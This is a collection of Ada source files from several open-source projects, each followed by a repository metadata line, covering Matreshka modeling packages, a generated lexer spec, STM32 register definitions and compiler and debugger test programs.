------------------------------------------------------------------------------ -- -- -- Matreshka Project -- -- -- -- Ada Modeling Framework -- -- -- -- Runtime Library Component -- -- -- ------------------------------------------------------------------------------ -- -- -- Copyright © 2011-2012, Vadim Godunko <[email protected]> -- -- All rights reserved. -- -- -- -- Redistribution and use in source and binary forms, with or without -- -- modification, are permitted provided that the following conditions -- -- are met: -- -- -- -- * Redistributions of source code must retain the above copyright -- -- notice, this list of conditions and the following disclaimer. -- -- -- -- * Redistributions in binary form must reproduce the above copyright -- -- notice, this list of conditions and the following disclaimer in the -- -- documentation and/or other materials provided with the distribution. -- -- -- -- * Neither the name of the Vadim Godunko, IE nor the names of its -- -- contributors may be used to endorse or promote products derived from -- -- this software without specific prior written permission. -- -- -- -- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -- -- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -- -- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -- -- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -- -- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -- -- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED -- -- TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR -- -- PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF -- -- LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING -- -- NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -- -- SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -- -- -- ------------------------------------------------------------------------------ -- $Revision$ $Date$ ------------------------------------------------------------------------------ with Interfaces; with AMF.Internals.Elements; with AMF.Internals.Factories; package body AMF.Internals.Helpers is subtype U32 is Interfaces.Unsigned_32; use type U32; -- XXX Interfaces.Unsigned_32 used only till AMF_Element isn't declared as -- modular type. -------------------- -- Connect_Extent -- -------------------- procedure Connect_Extent (Element : AMF_Element; Extent : AMF_Extent) is begin AMF.Internals.Factories.Get_Factory (AMF_Metamodel (U32 (Element) / 16#01000000#)).Connect_Extent (Element, Extent); end Connect_Extent; ---------------------- -- Connect_Link_End -- ---------------------- procedure Connect_Link_End (Element : AMF_Element; Property : CMOF_Element; Link : AMF_Link; Other : AMF_Element) is begin AMF.Internals.Factories.Get_Factory (AMF_Metamodel (U32 (Element) / 16#01000000#)).Connect_Link_End (Element, Property, Link, Other); end Connect_Link_End; -------------------------- -- Synchronize_Link_Set -- -------------------------- procedure Synchronize_Link_Set (Element : AMF.Internals.AMF_Element; Property : AMF.Internals.CMOF_Element; Link : AMF.Internals.AMF_Link) is begin AMF.Internals.Factories.Get_Factory (AMF_Metamodel (U32 (Element) / 16#01000000#)).Synchronize_Link_Set (Element, Property, Link); end Synchronize_Link_Set; ---------------- -- To_Element -- ---------------- function To_Element (Element : AMF_Element) return AMF.Elements.Element_Access is begin if (U32 (Element) and 16#00FFFFFF#) = 0 then -- First element in every metamodel is null element. return null; else return AMF.Internals.Factories.Get_Factory (AMF_Metamodel (U32 (Element) / 16#01000000#)).To_Element (Element); end if; end To_Element; ---------------- -- To_Element -- ---------------- function To_Element (Element : access AMF.Elements.Abstract_Element'Class) return AMF_Element is use type AMF.Elements.Element_Access; begin if Element = null then return 0; else return AMF.Internals.Elements.Element_Base'Class (Element.all).Element; end if; end To_Element; end AMF.Internals.Helpers;
stcarrez/ada-css
Ada
1,901
ads
-- Warning: This file is automatically generated by AFLEX. -- It is useless to modify it. Change the ".Y" & ".L" files instead. -- Template: templates/spec-dfa.ads package CSS.Analysis.Parser.Lexer_DFA is aflex_debug : Boolean := False; yylineno : Natural := 0; yylinecol : Natural := 0; yy_last_yylineno : Natural := 0; yy_last_yylinecol : Natural := 0; yytext_ptr : Integer; -- points to start of yytext in buffer -- yy_ch_buf has to be 2 characters longer than YY_BUF_SIZE because we need -- to put in 2 end-of-buffer characters (this is explained where it is -- done) at the end of yy_ch_buf -- ---------------------------------------------------------------------------- -- Buffer size is configured with: -- %option bufsize=75000 YY_READ_BUF_SIZE : constant Integer := 75000; -- ---------------------------------------------------------------------------- YY_BUF_SIZE : constant Integer := YY_READ_BUF_SIZE * 2; -- size of input buffer type unbounded_character_array is array (Integer range <>) of Character; subtype ch_buf_type is unbounded_character_array (0 .. YY_BUF_SIZE + 1); yy_ch_buf : ch_buf_type; yy_cp, yy_bp : Integer; -- yy_hold_char holds the character lost when yytext is formed yy_hold_char : Character; yy_c_buf_p : Integer; -- points to current character in buffer function YYText return String; function YYLength return Integer; procedure YY_DO_BEFORE_ACTION; subtype yy_state_type is Integer; -- These variables are needed between calls to YYLex. yy_init : Boolean := True; -- do we need to initialize YYLex? yy_start : Integer := 0; -- current start state number yy_last_accepting_state : yy_state_type; yy_last_accepting_cpos : Integer; end CSS.Analysis.Parser.Lexer_DFA;
zhmu/ananas
Ada
1,078
adb
-- { dg-do run } procedure Generic_Comp is generic type Element_Type is private; type Index_Type is (<>); type Array_Type is array (Index_Type range <>) of Element_Type; with function ">" (Left, Right : Element_Type) return Boolean is <>; procedure Gen (Data: in out Array_Type); procedure Gen (Data: in out Array_Type) is begin if not (Data'Length > 1) or else not (Integer'(Data'Length) > 1) or else not Standard.">" (Data'Length, 1) or else not Standard.">" (Integer'(Data'Length), 1) then raise Program_Error; end if; end; type My_Array is array (Positive range <>) of Integer; function Less_Than (L, R : Integer) return Boolean is begin return L < R; end; procedure Chk_Down is new Gen (Element_Type => Integer, Index_Type => Positive, Array_Type => My_Array, ">" => Less_Than); Data : My_Array (1 .. 2); begin Chk_Down (Data); end;
reznikmm/matreshka
Ada
4,000
ads
------------------------------------------------------------------------------ -- -- -- Matreshka Project -- -- -- -- Ada Modeling Framework -- -- -- -- Tools Component -- -- -- ------------------------------------------------------------------------------ -- -- -- Copyright © 2011, Vadim Godunko <[email protected]> -- -- All rights reserved. -- -- -- -- Redistribution and use in source and binary forms, with or without -- -- modification, are permitted provided that the following conditions -- -- are met: -- -- -- -- * Redistributions of source code must retain the above copyright -- -- notice, this list of conditions and the following disclaimer. -- -- -- -- * Redistributions in binary form must reproduce the above copyright -- -- notice, this list of conditions and the following disclaimer in the -- -- documentation and/or other materials provided with the distribution. -- -- -- -- * Neither the name of the Vadim Godunko, IE nor the names of its -- -- contributors may be used to endorse or promote products derived from -- -- this software without specific prior written permission. -- -- -- -- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -- -- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -- -- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -- -- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -- -- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -- -- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED -- -- TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR -- -- PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF -- -- LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING -- -- NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -- -- SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -- -- -- ------------------------------------------------------------------------------ -- $Revision$ $Date$ ------------------------------------------------------------------------------ package Generator.Attribute_Mapping is function Representation (Attribute : not null AMF.CMOF.Properties.CMOF_Property_Access) return Representation_Kinds; function Is_Ada_Distinguishable (Attribute_1 : not null AMF.CMOF.Properties.CMOF_Property_Access; Attribute_2 : not null AMF.CMOF.Properties.CMOF_Property_Access; Mode : Subprogram_Kinds) return Boolean; -- Returns True when getter/setter of specified attributes is -- distingushable in Ada. For Internal mode it involves traversing of the -- redefined properties to determine actual representation of multiplicity. end Generator.Attribute_Mapping;
ekoeppen/STM32_Generic_Ada_Drivers
Ada
6,510
ads
pragma Style_Checks (Off); -- This spec has been automatically generated from STM32L0x3.svd pragma Restrictions (No_Elaboration_Code); with System; package STM32_SVD.Firewall is pragma Preelaborate; --------------- -- Registers -- --------------- subtype FIREWALL_CSSA_ADD_Field is STM32_SVD.UInt16; -- Code segment start address type FIREWALL_CSSA_Register is record -- unspecified Reserved_0_7 : STM32_SVD.Byte := 16#0#; -- code segment start address ADD : FIREWALL_CSSA_ADD_Field := 16#0#; -- unspecified Reserved_24_31 : STM32_SVD.Byte := 16#0#; end record with Volatile_Full_Access, Object_Size => 32, Bit_Order => System.Low_Order_First; for FIREWALL_CSSA_Register use record Reserved_0_7 at 0 range 0 .. 7; ADD at 0 range 8 .. 23; Reserved_24_31 at 0 range 24 .. 31; end record; subtype FIREWALL_CSL_LENG_Field is STM32_SVD.UInt14; -- Code segment length type FIREWALL_CSL_Register is record -- unspecified Reserved_0_7 : STM32_SVD.Byte := 16#0#; -- code segment length LENG : FIREWALL_CSL_LENG_Field := 16#0#; -- unspecified Reserved_22_31 : STM32_SVD.UInt10 := 16#0#; end record with Volatile_Full_Access, Object_Size => 32, Bit_Order => System.Low_Order_First; for FIREWALL_CSL_Register use record Reserved_0_7 at 0 range 0 .. 7; LENG at 0 range 8 .. 21; Reserved_22_31 at 0 range 22 .. 31; end record; subtype FIREWALL_NVDSSA_ADD_Field is STM32_SVD.UInt16; -- Non-volatile data segment start address type FIREWALL_NVDSSA_Register is record -- unspecified Reserved_0_7 : STM32_SVD.Byte := 16#0#; -- Non-volatile data segment start address ADD : FIREWALL_NVDSSA_ADD_Field := 16#0#; -- unspecified Reserved_24_31 : STM32_SVD.Byte := 16#0#; end record with Volatile_Full_Access, Object_Size => 32, Bit_Order => System.Low_Order_First; for FIREWALL_NVDSSA_Register use record Reserved_0_7 at 0 range 0 .. 7; ADD at 0 range 8 .. 23; Reserved_24_31 at 0 range 24 .. 31; end record; subtype FIREWALL_NVDSL_LENG_Field is STM32_SVD.UInt14; -- Non-volatile data segment length type FIREWALL_NVDSL_Register is record -- unspecified Reserved_0_7 : STM32_SVD.Byte := 16#0#; -- Non-volatile data segment length LENG : FIREWALL_NVDSL_LENG_Field := 16#0#; -- unspecified Reserved_22_31 : STM32_SVD.UInt10 := 16#0#; end record with Volatile_Full_Access, Object_Size => 32, Bit_Order => System.Low_Order_First; for FIREWALL_NVDSL_Register use record Reserved_0_7 at 0 range 0 .. 7; LENG at 0 range 8 .. 21; Reserved_22_31 at 0 range 22 .. 31; end record; subtype FIREWALL_VDSSA_ADD_Field is STM32_SVD.UInt10; -- Volatile data segment start address type FIREWALL_VDSSA_Register is record -- unspecified Reserved_0_5 : STM32_SVD.UInt6 := 16#0#; -- Volatile data segment start address ADD : FIREWALL_VDSSA_ADD_Field := 16#0#; -- unspecified Reserved_16_31 : STM32_SVD.UInt16 := 16#0#; end record with Volatile_Full_Access, Object_Size => 32, Bit_Order => System.Low_Order_First; for FIREWALL_VDSSA_Register use record Reserved_0_5 at 0 range 0 .. 5; ADD at 0 range 6 .. 15; Reserved_16_31 at 0 range 16 .. 31; end record; subtype FIREWALL_VDSL_LENG_Field is STM32_SVD.UInt10; -- Volatile data segment length type FIREWALL_VDSL_Register is record -- unspecified Reserved_0_5 : STM32_SVD.UInt6 := 16#0#; -- Non-volatile data segment length LENG : FIREWALL_VDSL_LENG_Field := 16#0#; -- unspecified Reserved_16_31 : STM32_SVD.UInt16 := 16#0#; end record with Volatile_Full_Access, Object_Size => 32, Bit_Order => System.Low_Order_First; for FIREWALL_VDSL_Register use record Reserved_0_5 at 0 range 0 .. 5; LENG at 0 range 6 .. 15; Reserved_16_31 at 0 range 16 .. 31; end record; subtype FIREWALL_CR_FPA_Field is STM32_SVD.Bit; subtype FIREWALL_CR_VDS_Field is STM32_SVD.Bit; subtype FIREWALL_CR_VDE_Field is STM32_SVD.Bit; -- Configuration register type FIREWALL_CR_Register is record -- Firewall pre alarm FPA : FIREWALL_CR_FPA_Field := 16#0#; -- Volatile data shared VDS : FIREWALL_CR_VDS_Field := 16#0#; -- Volatile data execution VDE : FIREWALL_CR_VDE_Field := 16#0#; -- unspecified Reserved_3_31 : STM32_SVD.UInt29 := 16#0#; end record with Volatile_Full_Access, Object_Size => 32, Bit_Order => System.Low_Order_First; for FIREWALL_CR_Register use record FPA at 0 range 0 .. 0; VDS at 0 range 1 .. 1; VDE at 0 range 2 .. 2; Reserved_3_31 at 0 range 3 .. 31; end record; ----------------- -- Peripherals -- ----------------- -- Firewall type Firewall_Peripheral is record -- Code segment start address FIREWALL_CSSA : aliased FIREWALL_CSSA_Register; -- Code segment length FIREWALL_CSL : aliased FIREWALL_CSL_Register; -- Non-volatile data segment start address FIREWALL_NVDSSA : aliased FIREWALL_NVDSSA_Register; -- Non-volatile data segment length FIREWALL_NVDSL : aliased FIREWALL_NVDSL_Register; -- Volatile data segment start address FIREWALL_VDSSA : aliased FIREWALL_VDSSA_Register; -- Volatile data segment length FIREWALL_VDSL : aliased FIREWALL_VDSL_Register; -- Configuration register FIREWALL_CR : aliased FIREWALL_CR_Register; end record with Volatile; for Firewall_Peripheral use record FIREWALL_CSSA at 16#0# range 0 .. 31; FIREWALL_CSL at 16#4# range 0 .. 31; FIREWALL_NVDSSA at 16#8# range 0 .. 31; FIREWALL_NVDSL at 16#C# range 0 .. 31; FIREWALL_VDSSA at 16#10# range 0 .. 31; FIREWALL_VDSL at 16#14# range 0 .. 31; FIREWALL_CR at 16#20# range 0 .. 31; end record; -- Firewall Firewall_Periph : aliased Firewall_Peripheral with Import, Address => Firewall_Base; end STM32_SVD.Firewall;
AdaDoom3/wayland_ada_binding
Ada
5,129
ads
------------------------------------------------------------------------------ -- Copyright (C) 2015-2016, AdaCore -- -- -- -- This library is free software; you can redistribute it and/or modify it -- -- under terms of the GNU General Public License as published by the Free -- -- Software Foundation; either version 3, or (at your option) any later -- -- version. This library is distributed in the hope that it will be useful, -- -- but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHAN- -- -- TABILITY or FITNESS FOR A PARTICULAR PURPOSE. -- -- -- -- As a special exception under Section 7 of GPL version 3, you are granted -- -- additional permissions described in the GCC Runtime Library Exception, -- -- version 3.1, as published by the Free Software Foundation. -- -- -- -- You should have received a copy of the GNU General Public License and -- -- a copy of the GCC Runtime Library Exception along with this program; -- -- see the files COPYING3 and COPYING.RUNTIME respectively. If not, see -- -- <http://www.gnu.org/licenses/>. -- -- -- ------------------------------------------------------------------------------ -- This package describes the types of elements stored in a container. We -- want to handle both constrained and unconstrained elements, which is done -- by providing subprograms to convert from one type to the other (presumably, -- but not limited to, using access types) pragma Ada_2012; package Conts.Elements with SPARK_Mode is generic type Element_Type (<>) is private; -- The element type visible to the user (in parameter to Append for -- instance). type Stored_Type is private; -- The type of elements stored internally. This must be unconstrained. type Returned_Type (<>) is private; -- The type of elements returned by getters. Various possibilities exit: -- you could return an Element_Type (which might be big and thus slow), -- a Stored_Type (which might be an access type, and thus unsafe), or a -- Reference type as introduced by Ada 2012. Other variations are of -- course possible. type Constant_Returned_Type (<>) is private; -- The type of elements returned by getters. As opposed to -- Returned_Type, this one guarantees that the type cannot be modified -- via this value (so it can't be a direct pointer, not a reference_type -- for which the discriminant is not "constant"). This is used in -- particular for the Constant_Indexing aspect. with function To_Stored (E : Element_Type) return Stored_Type; with function To_Returned (E : Stored_Type) return Returned_Type; with function To_Constant_Returned (E : Stored_Type) return Constant_Returned_Type; with function To_Element (E : Constant_Returned_Type) return Element_Type; -- Converting between the types with procedure Release (E : in out Stored_Type) is null; -- Called whenever an element is removed from the container. -- Memory can be freed at this point, and other resources can be closed. with function Copy (E : Stored_Type) return Stored_Type; Copyable : Boolean := False; -- True when a stored_type variable can be copied (duplicated) in -- memory using the standard Ada operations (assigning an array -- for instance), including Adjust and Finalize call when -- applicable. -- False when an explicit Copy operation needs to be performed. This -- is safer in general, but less efficient. -- It should be set to False when Stored_Type is an access type, -- since copying would create an alias and it would be impossible to -- know who the owner of the element is and when to free it. Movable : Boolean := True; -- If True, a stored_Element can be moved in memory (as part of a -- realloc call for instance), bypassing Adjust and Finalize calls -- on controlled types. -- -- This is very similar to Copyable, but no aliasing issue occurs, so -- this should be safe for access types. -- When an element is not Movable, a copy is made (via Copy), and the -- original element is deleted. package Traits is subtype Element is Element_Type; subtype Stored is Stored_Type; subtype Returned is Returned_Type; subtype Constant_Returned is Constant_Returned_Type; function To_Elem (E : Constant_Returned_Type) return Element_Type renames To_Element; function Identity (E : Returned_Type) return Returned_Type is (E); -- Convenience function end Traits; end Conts.Elements;
Lucretia/Cherry
Ada
1,652
ads
-- -- The author disclaims copyright to this source code. In place of -- a legal notice, here is a blessing: -- -- May you do good and not evil. -- May you find forgiveness for yourself and forgive others. -- May you share freely, not taking more than you give. -- with Symbols; with States; package Extras is type Extra_Access is private; type Symbol_Cursor is private; function Get_Extra return Extra_Access; function Element_At (Extra : in Extra_Access; Index : in Symbols.Symbol_Index) return Symbols.Symbol_Access; -- Get access to the symbol in Extra at position Index. function Get_Wildcard (Extra : in Extra_Access) return Symbols.Symbol_Access; procedure Set_Wildcard (Extra : in Extra_Access; Wildcard : in Symbols.Symbol_Access); function Sorted_At (Extra : in Extra_Access; Index : in Symbols.Symbol_Index) return States.State_Access; function Create (Name : in String) return Symbol_Cursor; -- Create a new symbol with Name -- function Symbol_Find (Key : in Key_Type) return Symbol_Cursor; function Find (Name : in String) return Symbol_Cursor; -- Find symbol wiht Name procedure Symbol_Append (Key : in String); function Symbol_Count return Symbols.Symbol_Index; -- Return the size of the array. procedure Set_Error; procedure Fill_And_Sort; private type Extra_Record; type Extra_Access is access all Extra_Record; type Cursor_Type; type Symbol_Cursor is access Cursor_Type; end Extras;
reznikmm/matreshka
Ada
3,594
ads
------------------------------------------------------------------------------ -- -- -- Matreshka Project -- -- -- -- Ada Modeling Framework -- -- -- -- Runtime Library Component -- -- -- ------------------------------------------------------------------------------ -- -- -- Copyright © 2012, Vadim Godunko <[email protected]> -- -- All rights reserved. -- -- -- -- Redistribution and use in source and binary forms, with or without -- -- modification, are permitted provided that the following conditions -- -- are met: -- -- -- -- * Redistributions of source code must retain the above copyright -- -- notice, this list of conditions and the following disclaimer. -- -- -- -- * Redistributions in binary form must reproduce the above copyright -- -- notice, this list of conditions and the following disclaimer in the -- -- documentation and/or other materials provided with the distribution. -- -- -- -- * Neither the name of the Vadim Godunko, IE nor the names of its -- -- contributors may be used to endorse or promote products derived from -- -- this software without specific prior written permission. -- -- -- -- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -- -- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -- -- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -- -- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -- -- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -- -- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED -- -- TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR -- -- PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF -- -- LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING -- -- NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -- -- SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -- -- -- ------------------------------------------------------------------------------ -- $Revision$ $Date$ ------------------------------------------------------------------------------ -- This file is generated, don't edit it. ------------------------------------------------------------------------------ with AMF.Elements.Generic_Hash; function AMF.DI.Diagrams.Hash is new AMF.Elements.Generic_Hash (DI_Diagram, DI_Diagram_Access);
reznikmm/matreshka
Ada
5,361
ads
------------------------------------------------------------------------------ -- -- -- Matreshka Project -- -- -- -- Ada Modeling Framework -- -- -- -- Runtime Library Component -- -- -- ------------------------------------------------------------------------------ -- -- -- Copyright © 2011-2012, Vadim Godunko <[email protected]> -- -- All rights reserved. -- -- -- -- Redistribution and use in source and binary forms, with or without -- -- modification, are permitted provided that the following conditions -- -- are met: -- -- -- -- * Redistributions of source code must retain the above copyright -- -- notice, this list of conditions and the following disclaimer. -- -- -- -- * Redistributions in binary form must reproduce the above copyright -- -- notice, this list of conditions and the following disclaimer in the -- -- documentation and/or other materials provided with the distribution. -- -- -- -- * Neither the name of the Vadim Godunko, IE nor the names of its -- -- contributors may be used to endorse or promote products derived from -- -- this software without specific prior written permission. -- -- -- -- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -- -- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -- -- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -- -- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -- -- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -- -- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED -- -- TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR -- -- PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF -- -- LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING -- -- NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -- -- SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -- -- -- ------------------------------------------------------------------------------ -- $Revision$ $Date$ ------------------------------------------------------------------------------ -- This file is generated, don't edit it. ------------------------------------------------------------------------------ with AMF.Generic_Collections; package AMF.UML.Protocol_State_Machines.Collections is pragma Preelaborate; package UML_Protocol_State_Machine_Collections is new AMF.Generic_Collections (UML_Protocol_State_Machine, UML_Protocol_State_Machine_Access); type Set_Of_UML_Protocol_State_Machine is new UML_Protocol_State_Machine_Collections.Set with null record; Empty_Set_Of_UML_Protocol_State_Machine : constant Set_Of_UML_Protocol_State_Machine; type Ordered_Set_Of_UML_Protocol_State_Machine is new UML_Protocol_State_Machine_Collections.Ordered_Set with null record; Empty_Ordered_Set_Of_UML_Protocol_State_Machine : constant Ordered_Set_Of_UML_Protocol_State_Machine; type Bag_Of_UML_Protocol_State_Machine is new UML_Protocol_State_Machine_Collections.Bag with null record; Empty_Bag_Of_UML_Protocol_State_Machine : constant Bag_Of_UML_Protocol_State_Machine; type Sequence_Of_UML_Protocol_State_Machine is new UML_Protocol_State_Machine_Collections.Sequence with null record; Empty_Sequence_Of_UML_Protocol_State_Machine : constant Sequence_Of_UML_Protocol_State_Machine; private Empty_Set_Of_UML_Protocol_State_Machine : constant Set_Of_UML_Protocol_State_Machine := (UML_Protocol_State_Machine_Collections.Set with null record); Empty_Ordered_Set_Of_UML_Protocol_State_Machine : constant Ordered_Set_Of_UML_Protocol_State_Machine := (UML_Protocol_State_Machine_Collections.Ordered_Set with null record); Empty_Bag_Of_UML_Protocol_State_Machine : constant Bag_Of_UML_Protocol_State_Machine := (UML_Protocol_State_Machine_Collections.Bag with null record); Empty_Sequence_Of_UML_Protocol_State_Machine : constant Sequence_Of_UML_Protocol_State_Machine := (UML_Protocol_State_Machine_Collections.Sequence with null record); end AMF.UML.Protocol_State_Machines.Collections;
zhmu/ananas
Ada
291
adb
package body Elab6_Pkg is protected Prot_Obj is entry Ent; end Prot_Obj; procedure Call_Ent is begin Prot_Obj.Ent; end Call_Ent; protected body Prot_Obj is entry Ent when True is begin null; end Ent; end Prot_Obj; end Elab6_Pkg;
reznikmm/matreshka
Ada
3,654
ads
------------------------------------------------------------------------------ -- -- -- Matreshka Project -- -- -- -- Open Document Toolkit -- -- -- -- Runtime Library Component -- -- -- ------------------------------------------------------------------------------ -- -- -- Copyright © 2014, Vadim Godunko <[email protected]> -- -- All rights reserved. -- -- -- -- Redistribution and use in source and binary forms, with or without -- -- modification, are permitted provided that the following conditions -- -- are met: -- -- -- -- * Redistributions of source code must retain the above copyright -- -- notice, this list of conditions and the following disclaimer. -- -- -- -- * Redistributions in binary form must reproduce the above copyright -- -- notice, this list of conditions and the following disclaimer in the -- -- documentation and/or other materials provided with the distribution. -- -- -- -- * Neither the name of the Vadim Godunko, IE nor the names of its -- -- contributors may be used to endorse or promote products derived from -- -- this software without specific prior written permission. -- -- -- -- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -- -- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -- -- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -- -- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -- -- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -- -- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED -- -- TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR -- -- PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF -- -- LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING -- -- NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -- -- SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -- -- -- ------------------------------------------------------------------------------ -- $Revision$ $Date$ ------------------------------------------------------------------------------ with XML.DOM.Elements; package ODF.DOM.Office_Body_Elements is pragma Preelaborate; type ODF_Office_Body is limited interface and XML.DOM.Elements.DOM_Element; type ODF_Office_Body_Access is access all ODF_Office_Body'Class with Storage_Size => 0; end ODF.DOM.Office_Body_Elements;
MinimSecure/unum-sdk
Ada
4,077
adb
-- Copyright 2009-2016 Free Software Foundation, Inc. -- -- This program is free software; you can redistribute it and/or modify -- it under the terms of the GNU General Public License as published by -- the Free Software Foundation; either version 3 of the License, or -- (at your option) any later version. -- -- This program is distributed in the hope that it will be useful, -- but WITHOUT ANY WARRANTY; without even the implied warranty of -- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -- GNU General Public License for more details. -- -- You should have received a copy of the GNU General Public License -- along with this program. If not, see <http://www.gnu.org/licenses/>. -- This program declares a bunch of unconstrained objects and -- discrinimated records; the goal is to check that GDB does not crash -- when printing them even if they are not initialized. with Parse_Controlled; procedure Parse is -- START A : aliased Integer := 1; type Access_Type is access all Integer; type String_Access is access String; type My_Record is record Field1 : Access_Type; Field2 : String (1 .. 2); end record; type Discriminants_Record (A : Integer; B : Boolean) is record C : Float; end record; Z : Discriminants_Record := (A => 1, B => False, C => 2.0); type Variable_Record (A : Boolean := True) is record case A is when True => B : Integer; when False => C : Float; D : Integer; end case; end record; Y : Variable_Record := (A => True, B => 1); Y2 : Variable_Record := (A => False, C => 1.0, D => 2); Nv : Parse_Controlled.Null_Variant; type Union_Type (A : Boolean := False) is record case A is when True => B : Integer; when False => C : Float; end case; end record; pragma Unchecked_Union (Union_Type); Ut : Union_Type := (A => True, B => 3); type Tagged_Type is tagged record A : Integer; B : Character; end record; Tt : Tagged_Type := (A => 2, B => 'C'); type Child_Tagged_Type is new Tagged_Type with record C : Float; end record; Ctt : Child_Tagged_Type := (Tt with C => 4.5); type Child_Tagged_Type2 is new Tagged_Type with null record; Ctt2 : Child_Tagged_Type2 := (Tt with null record); type My_Record_Array is array (Natural range <>) of My_Record; W : My_Record_Array := ((Field1 => A'Access, Field2 => "ab"), (Field1 => A'Access, Field2 => "rt")); type Discriminant_Record (Num1, Num2, Num3, Num4 : Natural) is record Field1 : My_Record_Array (1 .. Num2); Field2 : My_Record_Array (Num1 .. 10); Field3 : My_Record_Array (Num1 .. Num2); Field4 : My_Record_Array (Num3 .. Num2); Field5 : My_Record_Array (Num4 .. Num2); end record; Dire : Discriminant_Record (1, 7, 3, 0); type Null_Variant_Part (Discr : Integer) is record case Discr is when 1 => Var_1 : Integer; when 2 => Var_2 : Boolean; when others => null; end case; end record; Nvp : Null_Variant_Part (3); type T_Type is array (Positive range <>) of Integer; type T_Ptr_Type is access T_Type; T_Ptr : T_Ptr_Type := new T_Type' (13, 17); T_Ptr2 : T_Ptr_Type := new T_Type' (2 => 13, 3 => 17); function Foos return String is begin return "string"; end Foos; My_Str : String := Foos; type Value_Var_Type is ( V_Null, V_Boolean, V_Integer ); type Value_Type( Var : Value_Var_Type := V_Null ) is record case Var is when V_Null => null; when V_Boolean => Boolean_Value : Boolean; when V_Integer => Integer_Value : Integer; end case; end record; NBI_N : Value_Type := (Var => V_Null); NBI_I : Value_Type := (Var => V_Integer, Integer_Value => 18); NBI_B : Value_Type := (Var => V_Boolean, Boolean_Value => True); begin null; end Parse;
stcarrez/ada-util
Ada
4,374
adb
